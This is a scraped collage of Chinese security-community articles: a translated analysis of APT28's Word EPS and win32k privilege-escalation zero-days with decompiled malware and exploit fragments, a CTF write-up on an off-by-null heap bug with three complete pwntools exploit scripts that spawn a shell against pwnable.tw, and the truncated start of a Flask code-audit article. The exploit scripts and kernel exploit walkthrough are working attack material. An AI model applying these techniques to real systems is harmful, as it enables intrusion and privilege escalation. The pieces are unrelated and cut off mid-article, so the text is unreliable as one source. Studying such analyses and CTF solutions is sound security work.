<https://www.securify.nl/blog/SFY20170502/sophisticated_google_play_bankbot_trojan_campaigns.html>
(Pwn2Own) Apple Safari WebSQL matchinfo型混淆远程代码执行漏洞
<http://www.zerodayinitiative.com/advisories/ZDI-17-369/>
Split Tunnel SMTP漏洞解析
<https://blog.securolytics.io/2017/05/split-tunnel-smtp-exploit-explained/>
绕过无线网络的MAC过滤
<http://www.hackingtutorials.org/wifi-hacking-tutorials/bypass-mac-filtering-on-wireless-networks/>
使用数据格式混淆绕过NGFW/WAFs
<https://medium.com/@d0znpp/bypassing-ngfw-wafs-using-data-format-obfuscations-188351ea9e73>
How to bootstrap self-service continuous fuzzing
<https://www.fastly.com/blog/how-bootstrap-self-service-continuous-fuzzing>
儿童节快乐 | 社区文章 |
# 【技术分享】APT28组织是如何利用两个0day漏洞影响法国大选的？
|
##### 译文声明
本文是翻译文章，文章来源：welivesecurity.com
原文地址：<https://www.welivesecurity.com/2017/05/09/sednit-adds-two-zero-day-exploits-using-trumps-attack-syria-decoy/>
译文仅供参考，具体内容表达以及含义原文为准。
****
****
翻译：[ **360代码卫士**](http://bobao.360.cn/member/contribute?uid=2873043487)
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**
**
**引言**
**Sednit组织又称APT28、Fancy Bear和Sofacy，是一个至少活跃于2004年且主要以从特定目标窃取机密信息为目标的黑客组织。**
2016年10月， ESET安全公司发表了对该组织所使用网络武器和技术的详细分析报告。
**上个月，APT28组织又闯入人们的视野，被指干扰法国总统大选；更具体点讲，对当时还是候选人的马克龙发动攻击。**
与此同时，一个含有名为“特朗普攻击叙利亚（英文版本）”附件的钓鱼邮件引起了我们的注意。
研究人员分析后发现这个文档的真实作用是释放Sednit组织广为人知的侦察工具Seduploader。为实现这一目的，该组织利用了两个0day利用代码：一是Word远程代码执行漏洞
(CVE-2017-0262)，另外一个是Windows中的本地权限升级漏洞
(CVE-2017-0263)。ESET公司当时将两个漏洞都告知微软，后者在本次常规的补丁星期二中发布了补丁。
这篇文章说明的是这次攻击的情况以及用于感染潜在目标的漏洞。
**从一个Word利用代码到Seduploader病毒释放器**
以下图表说明这次攻击跟APT28组织的常规攻击方法一致：使用包含恶意附件的鱼叉式钓鱼邮件来安装第一阶段的有效负载：
这次，这封钓鱼邮件跟特朗普对叙利亚的攻击有关：
受感染附件是一份诱导文档，包含一篇名为《特朗普攻击叙利亚为何是错误的多个原因》、于2017年4月12日发表在《加利福尼亚速递》上的文章。
就是从这里开始，攻击开始变得有意思了。这份诱导文档包含两个用于安装Seduploader的利用，如下：
这两个0day能加到APT28在过去两年中所使用的0day漏洞清单中：
打开这份诱导文档后，文档首先会触发Office
EPS过滤器中的一个漏洞CVE-2017-0262。在这个案例中，这个恶意EPS文件被称为.docx文件中的image1.eps：
这个EPS利用文件通过一个简单的XOR混淆。EPS为XOR变量提供功能然后衡量源
(exec)。这里使用的密钥是一个大的十六进制编码字符串中的0xc45d6491，而exec被解密缓存所调用。
一旦被解密，这个利用看起来跟火眼公司在2015年记录的利用很类似，当时利用的漏洞是CVE-2015-2545。二者之间的主要不同之处如下所示，也就是如何通过forall指令来执行内存损坏。
一旦获取代码执行，它就会加载一个shellcode用于检索未经记录的Windows API如：
NtAllocateVirtualMemory, NtFreeVirtualMemory and ZwProtectVirtualMemory
[...]
v1 = (*(__readfsdword(0x30u) + 12) + 12);
v2 = v1->InLoadOrderModuleList.Flink;
[...]
for ( addr_user32 = 0; v2 != v1; v135 = v2 )
{
v3 = *(v2 + 48);
v132 = *(v2 + 44);
if ( v3 )
{
v4 = *v3;
v5 = 0;
v6 = 0;
if ( *v3 )
{
do
{
if ( v132 && v6 >= v132 )
break;
if ( (v4 - 0x41) <= 0x19u )
v4 += 0x20;
v2 = v135;
v7 = __ROL4__(v5, 7);
++v3;
v5 = v4 ^ v7;
v4 = *v3;
++v6;
}
while ( *v3 );
v1 = v133;
}
switch ( v5 )
{
case kernel32:
addr_kernel32 = *(v2 + 24);
break;
case ntdll:
addr_ntdll = *(v2 + 24);
break;
case user32:
addr_user32 = *(v2 + 24);
break;
}
}
[...]
多次解密后，这个Seduploader病毒释放器就会被加载并予以执行。注意，这些执行都发生在以当前用户权限运行的WINWORD.EXE进程中。
**Seduploader释放器**
Seduploader由两个不同的组件构成：一个病毒释放器和一个持续的有效负载。
虽然用于本次攻击中的病毒释放器自上次分析之后发生了变化，但它的终极目标仍然是一致的即传播Seduploader有效负载。这个病毒释放器的新版本当前包含为CVE-2017-2063整合LPE利用的代码。本文会在后面详细分析这个漏洞；当前，我们主要关注的是Seduploader。
首先，病毒释放器中的新代码会查看进程是在Windows 32位还是64位版本中运行。根据检查结果，正确的利用版本会被加载在内存中：
一旦成功执行利用，Seduploader病毒释放器将会在WINDOWS的内存空间中重新自我加载，并且通过Uploader入口点的地址调用CreateRemoteThread，从而执行负责安装Seduploader有效负载的代码。由于利用的存在，代码会以系统权限身份运行。
**Seduploader有效负载**
Seduploader有效负载是APT28操作者使用的被当做侦察恶意软件的下载器，它由两部分组成。第一部分负责将第二部分注入适当的进程中，这取决于它是否加载于WINWORD.EXE进程中。第二部分是下载器本身。
如果Seduploader在WINWORD.EXE中运行，那么它的第一部分会创建一个名为flPGdvyhPykxGvhDOAZnU
的互斥量，并打开当前进程的一个控制。这个控制会被用于分配内存并将有效负载组件的第二部分代码写入，随后通过CreateRemoteThread的调用执行。否则，如果它不在WINWORD.EXE中执行，Seduploader会使用CreateThread启动第二部分。
这个下载器包含一般的Seduploader功能和字符串加密算法。另外它还包含下面提到的一些变化。
首先，用于识别DDL名称和用于解析的API函数的哈希算法被新的算法所替代。之前在白皮书中提到，旧的哈希算法源自Carberp中的代码。而新的算法也并非基于零基础：这次，APT28组织使用了跟PowerSniff非常类似的代码：
接着，Seduploader的报告信息会添加一个新的img标签。这个标签会提取截屏：
[…]
keybd_event(VK_SNAPSHOT, 0x45u, KEYEVENTF_EXTENDEDKEY, 0u);
Sleep(1000u);
keybd_event(VK_SNAPSHOT, 0x45u, KEYEVENTF_EXTENDEDKEY|KEYEVENTF_KEYUP, 0u);
OpenClipboard(0u);
hData = GetClipboardData(CF_BITMAP);
CloseClipboard();
if ( !hData )
return 0;
GdiplusStartupInput = (const int *)1;
v10 = 0;
v11 = 0;
v12 = 0;
GdiplusStartup(&token, &GdiplusStartupInput, 0);
if ( fGetEncoderClsid((int)L”image/jpeg”, &imageCLSID) )
{
v4 = sub_10003C5F((int)hData, 0);
ppstm = 0;
CreateStreamOnHGlobal(0u, 1u, &ppstm);
v5 = GdipSaveImageToStream(v4[1], ppstm, &imageCLSID, 0);
if ( v5 )
v4[2] = v5;
(*(void (__thiscall **)(_DWORD *, signed int))*v4)(v4, 1);
IStream_Size(ppstm, &pui);
cb = pui.s.LowPart;
v7 = ppstm;
*a1 = pui.s.LowPart;
IStream_Reset(v7);
v1 = j_HeapAlloc(cb);
IStream_Read(ppstm, v1, cb);
ppstm->lpVtbl->Release(ppstm);
}
GdiplusShutdown(token);
return v1;
}
跟平常一样，APT28黑客组织也没有重新建轮子。我们发现它执行截屏函数和stackoverflow论坛上的代码存在一些相似指出。它并没有使用GetForegroundWindow来检索当前用户工作的前台窗口的控制，而是选择使用keybd_event来发送一个”Print
screen”按键并随后从剪贴板检索图片。这个图片基于64位编码并被加到如下格式的报告结构中：
* “import win32api;print hex(win32api.GetVolumeInformation(“C:\”)[1])”的结果。
** HKLMSYSTEMCurrentControlSetServicesDiskEnum的内容
***当SEDUPLOADER使用注入连接到互联网时触发
APT28组织此前就曾使用过截屏。过去这个功能被在后期注入阶段构建于通常由Xtunnel触发的单独的工具中，不过现在在Seduploader的侦察阶段所构建使用。
最后，两个新函数被添加到配置中：shell和LoadLib。这个shell配置能让攻击者直接在内存中执行任意代码，而LoadLib能让通过调用rund1132.exe运行任意DLL的一个位字段。
**CVE-2017-0263—本地权限升级**
**利用工作流**
如上所述，为了部署Seduploader有效负载，Seduploader病毒释放器通过利用一个LPE漏洞CVE-2017-0263获取了系统权限。本部分我们将会说明APT28黑客组织是如何利用这个漏洞的。
首先，即使这个漏洞影响Windows 7及以上版本（见文末受影响平台清单），但这个漏洞旨在避开在Windows 8.1及以上版本中运行。
由于这个利用能同时针对32位和64位平台，它首先会判断这个进程是否在WOW64下运行。这个利用会分配多个页面直到找到一个高数值地址
(0x02010000)。随后它会构建如下结构：
struct Payload
{
LONG PTEAddress; // Points to the PTE entry containing the physical address of the page containing our structure. Only used for windows 8+
LONG pid; // Injected process pid;
LONG offset_of_lpszMenuName; // Offset of the lpszMenuName in the win32k!tagCLS structure
LONG offset_of_tagTHREADINFO; // Offset of the pti field in the win32k!tagWND structure.
LONG offset_of_tagPROCESSINFO; // Offset of the ppi field in the win32k!tagTHREADINFO structure.
LONG offset_of_TOKEN; // Offset of the Token field in the nt!_EPROCESS structure.
LONG tagCLS[0x100]; // Array containing the tagCLS of the created windows.
LONG WndProcCode; // Code of the WndProc meant to be run in kernel mode.
};
随后，它将检索HMValidateHandle的地址。这个功能能让攻击者泄露一个tagWND对象的内核地址。
如下概览了余下利用如何运作：
这个利用将会创建256个随机视窗类别以及相关视窗。每个视窗将会有512个外加存储器。这个额外内存临近内核空间的tagWND对象。在第一个创建的视窗后也就是在外加存储器中，这个利用会构建一个包含多数只有它自己的地址随后才会使用的虚假对象，如下所示：
当所有的视窗都创建好之后，这个利用会分配2个额外的视窗。第一个视窗的作用是在内核线程中执行：我们姑且将这个视图称作KernelWnd，而另外一个主要是接收完成这个利用所需要的必要信息：我们姑且将这个视窗称作TargetWindow。然后，这个利用会关联带有新分配对象KernelWnd的程序。
// …
TargetWindow = CreateWindowExW(0x80088u, MainWindowClass, 0, WS_VISIBLE, 0, 0, 1, 1, 0, 0, hModuleSelf, 0);
KernelWnd = CreateWindowExW(0, MainWindowClass, 0, 0, 0, 0, 1, 1, 0, 0, hModuleSelf, 0);
// …
SetWindowLongW(KernelWnd, GWL_WNDPROC, (LONG)Payload_0->WndProc);
我们在win32k组件的行为中添加一些上下文。每次你通过CreateWindowExW创建一个新窗口时，驱动都会在内核中创建一个新的tagWND对象。这个对象可描述为（为清晰起见，删除了一些字段）：
kd> dt tagWND
win32k!tagWND
+0x000 head : _THRDESKHEAD
+0x028 state : Uint4B
// ...
+0x028 bServerSideWindowProc : Pos 18, 1 Bit
// ...
+0x042 fnid : Uint2B
+0x048 spwndNext : Ptr64 tagWND
+0x050 spwndPrev : Ptr64 tagWND
+0x058 spwndParent : Ptr64 tagWND
+0x060 spwndChild : Ptr64 tagWND
+0x068 spwndOwner : Ptr64 tagWND
+0x070 rcWindow : tagRECT
+0x080 rcClient : tagRECT
+0x090 lpfnWndProc : Ptr64 int64
+0x098 pcls : Ptr64 tagCLS
// ...
从中可看出，tagWND->lpfnWindowProc包含跟这个视窗相关联的程序地址。这个驱动通常会降级其权限在用户上下文中执行这个程序。该行为是由位
tagWND->bServerSideProc控制的。如果这个位被设置，那么这个程序会通过升级权限进行运行，也就是在内核中运行。通过翻转tagWND->bServerSideProc位，利用就会运行。攻击者所需要做的就是找到翻转的方式。
在破坏目录的过程中，前面设置的钩子会查看对象的类别是否是如下代码块中所示的SysShadow。如是，则它会用自己的程序替代关联程序。
GetClassNameW(tagCWPSTRUCT->hwnd, &ClassName, 20);
if ( !wcscmp(&ClassName, STR_SysShadow) )
{
if ( ++MenuIndex == 3 )
{
// tagWND
::wParam = *(_DWORD *)(FN_LeakHandle((int)hWnd[0]) + sizeof_tagWND_0);
// Replace the WndProc of the object
SetWindowLongW(tagCWPSTRUCT->hwnd, GWL_WNDPROC, (LONG)FN_TriggerExploit);
}
在这个程序中，我们可发现这个利用在寻找WM_NCDESTROY信息。如果要求符合，那么它会构建一个由如下伪码说明的恶意tagPOPUPMENU对象：
if ( Msg == WM_NCDESTROY )
{
struct tagPOPUPMENU *pm = BuildFakeObject();
SetClassLongW(..., pm);
}
注意，用于构建这个对象的地址存在于我们首个tagWND末尾分配的外加存储器中。随后，这个利用会调用 NtUserMNDragLeave来翻转
KernelWnd对象的bServerSideProc位。为此，这个函数会检索使用tagTHREADINFO结构的一个tagMENUSTATE对象。这个对象包含被毁灭的菜单对象地址
(tagMENUSTATE->pGlobalPopupMenu)。
可看出，tagPOPUPMENU
是我们在调用NtUserMNDragLeave前在用户空间中编制的恶意对象。查看恶意tagPOPUPMENU的字段就能发现它们都指向外加存储器，但有一个例外，它指向了我们的KernelWnd对象。
从这里我们可发现，执行会到达函数MNFreePopup，它会将指针指向一个tagPOPUPMENU
对象。最终这个函数会调用HMAssignmentUnlock，将字段 spwndNextPopup 和spwndPrevPopup作为参数传递：
; win32k!HMAssignmentUnlock
sub rsp,28h
mov rdx,qword ptr [rcx]
and qword ptr [rcx],0
test rdx,rdx
je win32k!HMAssignmentUnlock+0x4f (fffff960`00119adf)
add dword ptr [rdx+8],0FFFFFFFFh ; Flipping bServerSideProc
jne win32k!HMAssignmentUnlock+0x4f (fffff960`00119adf)
movzx eax,word ptr [rdx]
执行这个系统调用后，我们的tagWND结构会跟我们的KernelWnd进行如下关联：
一切设置就绪！这个利用只需要发送正确的信息就能以内核模式触发程序执行。
syscall(NtUserMNDragLeave, 0, 0);
// Send a message to the procedure in order to trigger its execution in kernel mode.
KernelCallbackResult = SendMessageW(KernelWnd, 0x9F9Fu, ::wParam, 0);
Status.Triggered = KernelCallbackResult == 0x9F9F;
if ( KernelCallbackResult != 0x9F9F )
// Error, try again.
PostMessageW(TargetWindow, 0xABCDu, 0, 0);
最后，以升级权限运行的视窗程序会窃取SYSTEM口令并将其添加到调用进程。成功运行这个利用后，FLTLDR.EXE应该会以系统权限运行，并将会安装Seduploader的有效负载。
**总结**
这次攻击表明APT28并未停止攻击活动。他们仍然“旧习难改”：使用已知的攻击方法、复用来自其它恶意软件或公开站点的代码并犯一些小错误如在Seduploader的配置（shel而不是shell）的输入错误。
不变的事实还有，他们再次改进了工具集，比如这次添加了一些内置功能如截屏器并将两个0day利用整合到网络武器中。
**微软发布的受CVE-2017-0262和CVE-2017-0263影响的平台**
**CVE-2017-0262**
Microsoft Office 2010 Service Pack 2 （32位版本）
Microsoft Office 2010 Service Pack 2 （64位版本）
Microsoft Office 2013 Service Pack 1 （32位版本）
Microsoft Office 2013 Service Pack 1 （64位版本）
Microsoft Office 2013 RT Service Pack 1
Microsoft Office 2016 （32位版本）
Microsoft Office 2016（64位版本）
**CVE-2017-0263**
Windows 7 for 32-bit Systems Service Pack 1
Windows 7 for x64-based Systems Service Pack 1
Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core
installation)
Windows Server 2008 R2 for Itanium-Based Systems Service Pack 1
Windows Server 2008 R2 for x64-based Systems Service Pack 1
Windows Server 2008 for 32-bit Systems Service Pack 2 (Server Core
installation)
Windows Server 2012
Windows Server 2012 (Server Core installation)
Windows 8.1 for 32-bit systems
Windows 8.1 for x64-based systems
Windows Server 2012 R2
Windows RT 8.1
Windows Server 2012 R2 (Server Core installation)
Windows 10 for 32-bit Systems
Windows 10 for x64-based Systems
Windows 10 Version 1511 for x64-based Systems
Windows 10 Version 1511 for 32-bit Systems
Windows Server 2016
Windows 10 Version 1607 for 32-bit Systems
Windows 10 Version 1607 for x64-based Systems
Windows Server 2016 (Server Core installation)
Windows 10 Version 1703 for 32-bit Systems
Windows 10 Version 1703 for x64-based Systems
Windows Server 2008 for Itanium-Based Systems Service Pack 2
Windows Server 2008 for 32-bit Systems Service Pack 2
Windows Server 2008 for x64-based Systems Service Pack 2<
Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core
installation)
**IoC（攻陷指标）**
**互斥量**
flPGdvyhPykxGvhDOAZnU
**注册表键**
HKCUSoftwareMicrosoftOffice testSpecialPerf | 社区文章 |
# off by null漏洞getshell示例
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
最近仔细研究了off by null漏洞，对off by
null的漏洞利用有了一定的认识。希望大家能从我这篇文章中学到点东西，这是我的荣幸，也希望各位大佬指正。
对off by null漏洞的思考来自于pwnable.tw中的secret_of_my_heart一题，这是一个非常典型并且简单的off by
null的题目，所以这里就用这道题举例子。
## 首先介绍一下这道题
检查
该程序一共有三个功能
分别是add、delete和show功能。
程序刚开始使用mmap函数申请了一块内存:
这里的mmap出的内存里面主要作用是用来存放一个个secret结构体
sercet的结构体如下:
下面看一下add函数
漏洞点在add函数中的input_str函数中
红框中的代码有泄露漏洞，可以泄露堆的地址
而蓝框中的代码则是在输入的最后加上字节”\x00″，这样就造成了offbynull漏洞。
看一下show函数的内容:
再看一下delete函数中的内容:
我大概总结了一下这道题的思路：
1、可以通过unsortedbin attack写入到free_hook上方，然后利用fastbin
attack写入system的地址，从而拿到shell；
2、可以通过fastbin attack修改malloc_hook为one_gadget，然后利用malloc_printerr触发malloc；
3、可以通过fastbin attack修改_IO_FILE文件结构体的vtable中的函数地址为one_gadget来拿到shell；
4、可以通过fastbin attack修改top chunk指针来劫持top chunk，拿到shell;
介绍一下这道题思路的具体实现
## 首先第一种思路的实现
这是exp中的各个函数
首先先去申请5个chunk和泄露堆的地址,大小分别有0x68和0xF8的
然后进行chunk overlap
这里的大概思路是，通过3号chunk去溢出4号chunk的prevsize和size，使得当释放4号chunk时，去合并0-3号chunk。这里为了绕过unlink中出现的crash，我们需要先将0号chunk给free掉。
这里需要说一下，p64(0x0)+p64(0x71)+p64(attack_heap)+p64(0x00)是为后面unsortedbin
attack做准备，所以可以暂时忽略，后面的p64(0x100+0x100+0x70+0x70)是伪造的prev_size，这样去free掉4号chunk就可以将0-4号chunk合并并放入unsortedbin中。
特别说明一下，attack_heap的地址为0x562b0fa382c0。
可以看到，这里已经实现了我们的目的。
然后进行libc地址泄露
我们已经将0-4号合并的chunk放到了unsortedbin中，但1号chunk实际上并没有被我们free过，所以我们把在unsortedbin中的0号chunk申请掉，malloc就会切割chunk，并将unsortedbin的地址放到1号chunk里面，这时候我们去show1号chunk就可以得到unsortedbin地址了。
我们已经将libc地址泄露了，接下来我们该如何利用这些chunk拿到shell呢？
首先，我们先去free掉2号chunk,使得2号chunk放入fastbin中，那么现在堆的布局是怎样的呢？我们来看一下。
这样我们就可以通过去unsortedbin中取得内存，来控制0x562b0fa38200中的内容了。
首先new一个0xE8大小的内存。
然后通过new一块0x70+0x70大小的chunk，控制0x562b0fa38200中的prev_size为0,size为0x71，fd为attack_heap，也就是0x562b0fa382c0。
看一下0x562b0fa382c0中的情况
为什么0x562b0fa382c0中为什么回事这样呢，还记得前面吗？
这里我们对0x562b0fa382c0写入了p64(0x0)+p64(0x71)+p64(attack_heap)。
这样，fastbin中就有了三个chunk，分别是0x562b0fa38200，0x562b0fa382c0，0x562b0fa382c0。
接下来我们将0x562b0fa38200申请出来，然后通过申请0x562b0fa382c0这个chunk改变第二个0x562b0fa382c0的fd和unsortedbin中的chunk的bk。从而进行fastbin
attack和unsortedbin attack。
这样就可以拿到shell了。
exp.py如下:
from pwn import *
#context.log_level = "debug"
local = True
if local:
p = process("./secret\_of\_my_heart")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
bin_offset = 0x3C4B20 + 0x58
else:
p = remote("chall.pwnable.tw","10302")
libc = ELF("./libc_64.so.6")
bin_offset = 0x3C3B20 + 0x58
elf = ELF("./secret_of_my_heart")
def new(size,name,secret):
p.sendlineafter("choice :",str(1))
p.sendlineafter("Size of heart : ",str(size))
p.sendafter("Name of heart :",name)
p.sendafter("secret of my heart :",secret)
def show(index):
p.sendlineafter("choice :",str(2))
p.sendlineafter("Index :",str(index))
def free(index):
p.sendlineafter("choice :",str(3))
p.sendlineafter("Index :",str(index))
new(0xF8,"a"*0x20,"aaaa")#0 100
new(0xF8,"b"*0x20,"bbbb")#1 100
show(1)
p.recvuntil("b"*0x20)
heap_addr = u64(p.recvline()[:-1].ljust(0x8,"\x00"))
success("heap_address ===> " + hex(heap_addr))
new(0x68,"c"*0x20,"cccc")#2 70
new(0x68,"d"*0x20,"dddd")#3 70
new(0xF8,"d"*0x20,"dddd")#4 100
new(0xF8,"padding\n","padding\n")#5
free(0)
free(3)
offset = 0x55a9d344a2c0 - 0x55a9d344a110
attack_heap = heap_addr + offset
new(0x68,"d"*0x20,"d"*0x40 + p64(0x0) + p64(0x71) + p64(attack_heap) + p64(0x00) + p64(0x100+0x100+0x70+0x70)) #0
free(4)
new(0xF8,"a"*0x20,"aaaa")#3
show(1)
p.recvuntil("Secret : ")
bin_addr = u64(p.recvline()[:-1].ljust(0x8,"\x00"))
libc.address = bin_addr - bin_offset
free_hook = libc.symbols['__free_hook']
success("libc_address ===> " + hex(libc.address))
success("system_address ===> " + hex(libc.symbols['system']))
success("__free_hook ===> " + hex(free_hook))
free(2)
log.info("attack_heap_address ===> " + hex(attack_heap))
new(0xE8,"test","test") #2
new((0x70+0x70),"attack",p64(0x00)+p64(0x71)+p64(attack_heap)) #4
new(0x68,"test","/bin/sh\x00") #6
new(0x68,"attack",p64(free_hook-0x43) + "\x00" * 0x10 + p64(0x101)+p64(0xdeadbeef)+p64(free_hook-0x50))
new(0xF8,"attack","attack")
#unsorted bin attack
payload = "\x00" * 0x33 + p64(libc.symbols['system'])
new(0x68,"attack","attack")
new(0x68,"attack",payload)
free(6)
p.interactive()
第一种思路实际上是我当时做这个题的时候瞎想的，因为one_gadget修改成__malloc_hook并不能生效，所以没办法只能去修改__free_hook，这种方法非常麻烦且低效。后来拿到flag之后去看大佬们的博客，发现我真的是弱爆了。
第二种思路和第三种思路实际上是针对one_gadget修改成__malloc_hook触发不成功而产生的。
这里只实现第二种，因为第二种思路和第三种思路差不多，只是one_gadget写入的地方不一样。而且我觉得第二种应该是最容易实现的思路了。
## 第二种思路
首先，老办法泄露Libc的地址：
和第一个思路的泄露方法一样的，只是这边new的5个chunk的大小有点不一样而已。
接下来进行fastbin dup：
开始进行攻击并且free掉6号chunk触发malloc_printerr。
最后拿到shell
exp.py如下:
from pwn import *
#context.log_level = "debug"
local = False
if local:
p = process("./secret\_of\_my_heart")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
bin_offset = 0x3C4B20 + 0x58
one_gadget = 0xf02a4
else:
p = remote("chall.pwnable.tw","10302")
libc = ELF("./libc_64.so.6")
bin_offset = 0x3C3B20 + 0x58
one_gadget = 0xef6c4
elf = ELF("./secret_of_my_heart")
def new(size,name,secret):
p.sendlineafter("choice :",str(1))
p.sendlineafter("Size of heart : ",str(size))
p.sendafter("Name of heart :",name)
p.sendafter("secret of my heart :",secret)
def show(index):
p.sendlineafter("choice :",str(2))
p.sendlineafter("Index :",str(index))
def free(index):
p.sendlineafter("choice :",str(3))
p.sendlineafter("Index :",str(index))
new(0xF8,"a"*0x20,"aaaa") #0
new(0x68,"b"*0x20,"bbbb") #1
new(0xF8,"c"*0x20,"cccc") #2
new(0xF8,"d"*0x20,"dddd") #3
new(0xF8,"e"*0x20,"eeee") #4
free(2)
free(0)
new(0xF8,"c"*0x20,"c"*0xF0 + p64(0x100*2+0x70)) #0
free(3)
new(0xF8,"a"*0x20,"aaaa") #2
show(1)
p.recvuntil("Secret : ")
bin_addr = u64(p.recvline()[:-1].ljust(0x8,"\x00"))
libc.address = bin_addr - bin_offset
malloc_hook = libc.symbols['__malloc_hook']
one_gadget = libc.address + one_gadget
success("libc_address ===> " + hex(libc.address))
success("__malloc_hook ===> " + hex(malloc_hook))
success("shell_address ===> " + hex(one_gadget))
new(0x68,"b"*0x20,"bbbb") #3
new(0x68,"c"*0x20,"cccc") #5
#fastbin dup
free(1)
free(5)
free(3)
new(0x68,"d"*0x20,p64(malloc_hook-0x23)) #6
new(0x68,"e"*0x20,"eeee") #7
new(0x68,"f"*0x20,"ffff") #8
payload = "\x00"*0x13 + p64(one_gadget)
new(0x68,"fastbin attack",payload)
#getshell
free(6)
p.interactive()
接下来介绍第四种思路的实现，因为思路挺好的，所以就算实现麻烦点，也是无所谓。
## 第四种思路
具体思路如下:
首先，我们知道，__malloc_hook和main_arena其实是相邻的，并且main_arena里面有一个指向top
chunk的指针。这样的话我们可以先fastbin
dup去申请到__malloc_hook-0x23这块内存，然后往main_arena里面写入0x70，再用fastbin
attack得到main_arena，控制top chunk的指针指向__free_hook上方，然后再去不断申请内存直至申请到__free_hook。
__malloc_hook和main_arena的位置如下:
利用__malloc_hook-0x23的0x7f来使用fastbin dup控制红框中的内容，往红框里面写入0x70，再进行一次fastbin
attack就可以控制指向top
chunk的指针，这里0x55e274cc0470就是topchunk的地址。红框内是fastbin数组，可以利用这个进行二次fastbin attack。
来看一下我们伪造topchunk的size。
__free_hook地址-0xb58的位置，红框内可以作为我们伪造的top chunk的size。我们只需要将指向top
chunk的指针指向__free_hook地址-0xb58的位置就可以了。
exp.py如下:
from pwn import *
#context.log_level = "debug"
local = False
if local:
p = process("./secret\_of\_my_heart")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
bin_offset = 0x3C4B20 + 0x58
one_gadget = 0xf02a4
else:
p = remote("chall.pwnable.tw","10302")
libc = ELF("./libc_64.so.6")
bin_offset = 0x3C3B20 + 0x58
one_gadget = 0xef6c4
elf = ELF("./secret_of_my_heart")
def new(size,name,secret):
p.sendlineafter("choice :",str(1))
p.sendlineafter("Size of heart : ",str(size))
p.sendafter("Name of heart :",name)
p.sendafter("secret of my heart :",secret)
def show(index):
p.sendlineafter("choice :",str(2))
p.sendlineafter("Index :",str(index))
def free(index):
p.sendlineafter("choice :",str(3))
p.sendlineafter("Index :",str(index))
new(0xF8,"a"*0x20,"aaaa") #0
new(0x68,"b"*0x20,"bbbb") #1
new(0xF8,"c"*0x20,"cccc") #2
new(0xF8,"d"*0x20,"dddd") #3
new(0xF8,"e"*0x20,"/bin/sh\x00") #4
free(2)
free(0)
new(0xF8,"c"*0x20,"c"*0xF0 + p64(0x100*2+0x70)) #0
free(3)
new(0xF8,"a"*0x20,"aaaa") #2
show(1)
p.recvuntil("Secret : ")
bin_addr = u64(p.recvline()[:-1].ljust(0x8,"\x00"))
libc.address = bin_addr - bin_offset
free_hook = libc.symbols['__free_hook']
malloc_hook = libc.symbols['__malloc_hook']
main_arena = bin_addr - 0x58
success("libc_address ===> " + hex(libc.address))
success("system_address ===> " + hex(libc.symbols['system']))
success("__free_hook ===> " + hex(free_hook))
new(0x68,"b"*0x20,"bbbb") #3
new(0x68,"c"*0x20,"cccc") #5
#fastbin dup
free(1)
free(5)
free(3)
new(0x68,"b"*0x20,p64(malloc_hook-0x23))
new(0x68,"c"*0x20,"cccc")
new(0x68,"d"*0x20,"dddd")
payload = "\x00" * 0x13
payload += "\x00" * 0x40
payload += p64(main_arena+48)
payload += p64(0x71)
new(0x68,"e"*0x20,payload)
new(0x68,"f"*0x20,p64(0x00)*3+p64(free_hook-0xb58))
new(0x100,"padding\n","padding")
new(0x100,"padding\n","padding")
new(0x100,"padding\n","padding")
new(0x100,"padding\n","padding")
for i in range(7):
new(0x100,"padding\\n","padding")
new(0x100,"padding\n","\x00"*0xa8+p64(libc.symbols['system']))
free(4)
p.interactive()
## 总结
实际上，off by null漏洞就是通过chunk
overlap来实现UAF，所以这个东西本质上就是UAF。既然是UAF，所以拿到shell的思路或许还有不少。
附上参考链接：
<http://tacxingxing.com/2018/02/20/pwnabletw-secretofmyheart/>
<https://veritas501.space/2018/03/04/pwnable.tw%2011~18%E9%A2%98%20writeup/>
<https://bbs.pediy.com/thread-230028.htm> | 社区文章 |
# CTF线下赛AWD代码审计—flasky
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前记
周末无聊，恰逢AWD线下赛在即，于是翻出了曾经的AWD源码，考虑到python比较薄弱，于是准备详细分析一波,题目是flask框架写的，洞还挺多的XD
## 代码结构
首先一个框架写出的代码量肯定很大，我们必须浓缩且重点分析，才能发现问题，所以了解框架结构十分重要
首先看一下结构
app文件夹
migrations文件夹
tests文件夹
config.py
manage.py
data-dev.sqlite
还是老生常谈的问题，我们重点审计目标应该在app文件夹，因为它是放置应用程序的文件夹
而app文件夹目录下
api_1_0文件夹
auth文件夹
main文件夹
static文件夹
templates文件夹
__init__.py
decorators.py
exceptions.py
models.py
排除api接口，静态文件夹，初始化文件等，不难看出侧重点在于
auth文件夹
main文件夹
此时逐个击破即可
## auth文件夹
该文件夹下有3个文件
__init__.py
forms.py
views.py
其中
__init__.py
用于初始化，我们不做分析
forms.py
用于表单的接受处理，大致浏览问题也不是很大
views.py
其中写了大量的路由，是这个文件夹的核心，也是我们重点分析的对象。从这里入手再合适不过了。
我们先来分析一下路由的结构
@auth.before_app_request
def before_request():
@auth.route('/unconfirmed')
def unconfirmed():
@auth.route('/login', methods=['GET', 'POST'])
def login():
@auth.route('/logout')
@login_required
def register():
@auth.route('/confirm/<token>')
@login_required
@auth.route('/hello')
def hello():
@auth.route('/confirm')
@login_required
def resend_confirmation():
@auth.route('/change-password', methods=['GET', 'POST'])
@login_required
def change_password():
@auth.route('/reset', methods=['GET', 'POST'])
def password_reset_request():
@auth.route('/getimage/<url>')
def getimage(url):
@auth.route('/test', methods=['GET', 'POST'])
def test():
@auth.route('/reset/<token>', methods=['GET', 'POST'])
def password_reset(token):
@auth.route('/change-email', methods=['GET', 'POST'])
@login_required
def change_email_request():
@auth.route('/change-email/<token>')
@login_required
def change_email(token):
功能很多
1.login 登录功能
2.logout 退出登录功能
3.register 注册功能
4.confirm 确认功能
5.hello 可疑文件
6.change-password 更改密码功能
7.reset 重置功能
8.getimage 可疑文件，远程获取图片
9.test 可疑文件
10.change-email 更改邮箱
但冷静下来分析，发现可用点并不是很多
1.我们是不能访问外网的，邮箱注册功能基本是假的
